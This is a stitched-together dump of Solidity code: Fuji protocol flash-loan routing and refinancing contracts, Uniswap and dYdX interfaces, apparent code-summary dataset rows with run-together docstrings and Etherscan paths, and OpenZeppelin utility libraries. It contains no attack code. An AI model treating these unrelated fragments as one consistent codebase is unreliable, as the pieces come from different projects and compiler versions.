IFujiMappings(0x03BD587Fe413D59A20F32Fc75f31bDE1dD1CD6c9);
receive() external payable {}
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() ||
msg.sender == _fujiAdmin.getFliquidator() ||
msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Routing Function for Flashloan Provider
* @param info: struct information for flashLoan
* @param _flashnum: integer identifier of flashloan provider
*/
function initiateFlashloan(FlashLoan.Info calldata info, uint8 _flashnum) external isAuthorized {
if (_flashnum == 0) {
_initiateAaveFlashLoan(info);
} else if (_flashnum == 1) {
_initiateDyDxFlashLoan(info);
} else if (_flashnum == 2) {
_initiateCreamFlashLoan(info);
}
}
// ===================== DyDx FlashLoan ===================================
/**
* @dev Initiates a DyDx flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateDyDxFlashLoan(FlashLoan.Info calldata info) internal {
ISoloMargin solo = ISoloMargin(_dydxSoloMargin);
// Get marketId from token address
uint256 marketId = _getMarketIdFromTokenAddress(solo, info.asset);
// 1. Withdraw $
// 2. Call callFunction(...)
// 3. Deposit back $
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, info.amount);
// Encode FlashLoan.Info for callFunction
operations[1] = _getCallAction(abi.encode(info));
// add fee of 2 wei
operations[2] = _getDepositAction(marketId, info.amount.add(2));
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo(address(this));
solo.operate(accountInfos, operations);
}
/**
* @dev Executes DyDx Flashloan, this operation is required
* and called by Solo when sending loaned amount
* @param sender: Not used
* @param account: Not used
*/
function callFunction(
address sender,
Account.Info calldata account,
bytes calldata data
) external override {
require(msg.sender == _dydxSoloMargin && sender == address(this), Errors.VL_NOT_AUTHORIZED);
account;
FlashLoan.Info memory info = abi.decode(data, (FlashLoan.Info));
//Estimate flashloan payback + premium fee of 2 wei,
uint256 amountOwing = info.amount.add(2);
// Transfer to Vault the flashloan Amount
IERC20(info.asset).uniTransfer(payable(info.vault), info.amount);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, info.amount, 2);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
info.amount,
2
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
info.amount,
2
);
}
//Approve DYDXSolo to spend to repay flashloan
IERC20(info.asset).approve(_dydxSoloMargin, amountOwing);
}
// ===================== Aave FlashLoan ===================================
/**
* @dev Initiates an Aave flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateAaveFlashLoan(FlashLoan.Info calldata info) internal {
//Initialize Instance of Aave Lending Pool
ILendingPool aaveLp = ILendingPool(_aaveLendingPool);
//Passing arguments to construct Aave flashloan -limited to 1 asset type for now.
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = address(info.asset);
uint256[] memory amounts = new uint256[](1);
amounts[0] = info.amount;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
//modes[0] = 0;
//address onBehalfOf = address(this);
//bytes memory params = abi.encode(info);
//uint16 referralCode = 0;
//Aave Flashloan initiated.
aaveLp.flashLoan(receiverAddress, assets, amounts, modes, address(this), abi.encode(info), 0);
}
/**
* @dev Executes Aave Flashloan, this operation is required
* and called by Aaveflashloan when sending loaned amount
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == _aaveLendingPool && initiator == address(this), Errors.VL_NOT_AUTHORIZED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
//Estimate flashloan payback + premium fee,
uint256 amountOwing = amounts[0].add(premiums[0]);
// Transfer to the vault ERC20
IERC20(assets[0]).uniTransfer(payable(info.vault), amounts[0]);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amounts[0], premiums[0]);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
amounts[0],
premiums[0]
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amounts[0],
premiums[0]
);
}
//Approve aaveLP to spend to repay flashloan
IERC20(assets[0]).uniApprove(payable(_aaveLendingPool), amountOwing);
return true;
}
// ===================== CreamFinance FlashLoan ===================================
/**
* @dev Initiates an CreamFinance flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateCreamFlashLoan(FlashLoan.Info calldata info) internal {
// Get crToken Address for Flashloan Call
address crToken = _crMappings.addressMapping(info.asset);
// Prepara data for flashloan execution
bytes memory params = abi.encode(info);
// Initialize Instance of Cream crLendingContract
ICTokenFlashloan(crToken).flashLoan(address(this), info.amount, params);
}
/**
* @dev Executes CreamFinance Flashloan, this operation is required
* and called by CreamFinanceflashloan when sending loaned amount
*/
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external override {
// Check Msg. Sender is crToken Lending Contract
address crToken = _crMappings.addressMapping(underlying);
require(msg.sender == crToken && address(this) == sender, Errors.VL_NOT_AUTHORIZED);
require(IERC20(underlying).balanceOf(address(this)) >= amount, Errors.VL_FLASHLOAN_FAILED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
// Estimate flashloan payback + premium fee,
uint256 amountOwing = amount.add(fee);
// Transfer to the vault ERC20
IERC20(underlying).uniTransfer(payable(info.vault), amount);
// Do task according to CallType
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amount, fee);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(info.userAddrs[0], info.vault, amount, fee);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amount,
fee
);
}
// Transfer flashloan + fee back to crToken Lending Contract
IERC20(underlying).uniTransfer(payable(crToken), amountOwing);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
library FlashLoan {
/**
* @dev Used to determine which vault's function to call post-flashloan:
* - Switch for executeSwitch(...)
* - Close for executeFlashClose(...)
* - Liquidate for executeFlashLiquidation(...)
* - BatchLiquidate for executeFlashBatchLiquidation(...)
*/
enum CallType { Switch, Close, BatchLiquidate }
/**
* @dev Struct of params to be passed between functions executing flashloan logic
* @param asset: Address of asset to be borrowed with flashloan
* @param amount: Amount of asset to be borrowed with flashloan
* @param vault: Vault's address on which the flashloan logic to be executed
* @param newProvider: New provider's address. Used when callType is Switch
* @param userAddrs: User's address array Used when callType is BatchLiquidate
* @param userBals: Array of user's balances, Used when callType is BatchLiquidate
* @param userliquidator: The user's address who is performing liquidation. Used when callType is Liquidate
* @param fliquidator: Fujis Liquidator's address.
*/
struct Info {
CallType callType;
address asset;
uint256 amount;
address vault;
address newProvider;
address[] userAddrs;
uint256[] userBalances;
address userliquidator;
address fliquidator;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library LibUniversalERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function univBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function univTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
(bool sent, ) = to.call{ value: amount }("");
require(sent, "Failed to send Ether");
} else {
token.safeTransfer(to, amount);
}
}
}
function univApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface IFlashLoanReceiver {
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool);
}
interface ILendingPool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
library Account {
enum Status { Normal, Liquid, Vapor }
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
}
library Actions {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (publicly)
Sell, // sell an amount of some token (publicly)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
}
library Types {
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
}
/**
* @title ICallee
* @author dYdX
*
* Interface that Callees for Solo must implement in order to ingest data.
*/
interface ICallee {
/**
* Allows users to send this contract arbitrary data.
*
* @param sender The msg.sender to Solo
* @param accountInfo The account from which the data is being sent
* @param data Arbitrary data given by the sender
*/
function callFunction(
address sender,
Account.Info memory accountInfo,
bytes memory data
) external;
}
interface ISoloMargin {
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 marketId) external view returns (address);
function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external;
}
contract DyDxFlashloanBase {
// -- Internal Helper functions -- //
function _getMarketIdFromTokenAddress(ISoloMargin solo, address token)
internal
view
returns (uint256)
{
uint256 numMarkets = solo.getNumMarkets();
address curToken;
for (uint256 i = 0; i < numMarkets; i++) {
curToken = solo.getMarketTokenAddress(i);
if (curToken == token) {
return i;
}
}
revert("No marketId found");
}
function _getAccountInfo(address receiver) internal pure returns (Account.Info memory) {
return Account.Info({ owner: receiver, number: 1 });
}
function _getWithdrawAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) {
return
Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: data
});
}
function _getDepositAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface ICFlashloanReceiver {
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external;
}
interface ICTokenFlashloan {
function flashLoan(
address receiver,
uint256 amount,
bytes calldata params
) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { IVault } from "./Vaults/IVault.sol";
import { IProvider } from "./Providers/IProvider.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { Errors } from "./Libraries/Errors.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
contract Controller is Ownable {
using SafeMath for uint256;
IFujiAdmin private _fujiAdmin;
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Performs a forced refinancing routine
* @param _vaultAddr: fuji Vault address
* @param _newProvider: new provider address
* @param _ratioA: ratio to determine how much of debtposition to move
* @param _ratioB: _ratioA/_ratioB <= 1, and > 0
* @param _flashNum: integer identifier of flashloan provider
*/
function doRefinancing(
address _vaultAddr,
address _newProvider,
uint256 _ratioA,
uint256 _ratioB,
uint8 _flashNum
) external isValidVault(_vaultAddr) onlyOwner {
IVault vault = IVault(_vaultAddr);
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vaultAddr).vAssets();
vault.updateF1155Balances();
// Check Vault borrowbalance and apply ratio (consider compound or not)
uint256 debtPosition =
IProvider(vault.activeProvider()).getBorrowBalanceOf(vAssets.borrowAsset, _vaultAddr);
uint256 applyRatiodebtPosition = debtPosition.mul(_ratioA).div(_ratioB);
// Check Ratio Input and Vault Balance at ActiveProvider
require(
debtPosition >= applyRatiodebtPosition && applyRatiodebtPosition > 0,
Errors.RF_INVALID_RATIO_VALUES
);
//Initiate Flash Loan Struct
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Switch,
asset: vAssets.borrowAsset,
amount: applyRatiodebtPosition,
vault: _vaultAddr,
newProvider: _newProvider,
userAddrs: new address[](0),
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(0)
});
Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashNum);
IVault(_vaultAddr).setActiveProvider(_newProvider);
}
}
|
Changes Vault debt and collateral to newProvider, called by Flasher _newProvider new provider's address _flashLoanAmount amount of flashloan underlying to repay Flashloan Emits a {Switch} event./ Compute Ratio of transfer before payback Payback current provider Withdraw collateral proportional ratio from current provider Deposit to the new provider Borrow from the new provider, borrowBalance + premium return borrowed amount to Flasher
|
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
_payback(_flashLoanAmount, activeProvider);
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
_deposit(collateraltoMove, _newProvider);
_borrow(_flashLoanAmount.add(_fee), _newProvider);
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
| 1,311,577 |
./full_match/1/0xA5E2F5fcEEEA67C07b317c51F3741d2AA0775058/sources/contracts/extensions/ERC721Airdroppable.sol
|
Owner can mint to specified address to The address to mint to. quantity The number of tokens to mint./
|
function ownerMint(address to, uint256 quantity) external onlyOwner {
_internalMint(to, quantity);
}
| 8,329,545 |
/**
*Submitted for verification at Etherscan.io on 2022-01-15
*/
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/interfaces/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/utils/Strings.sol
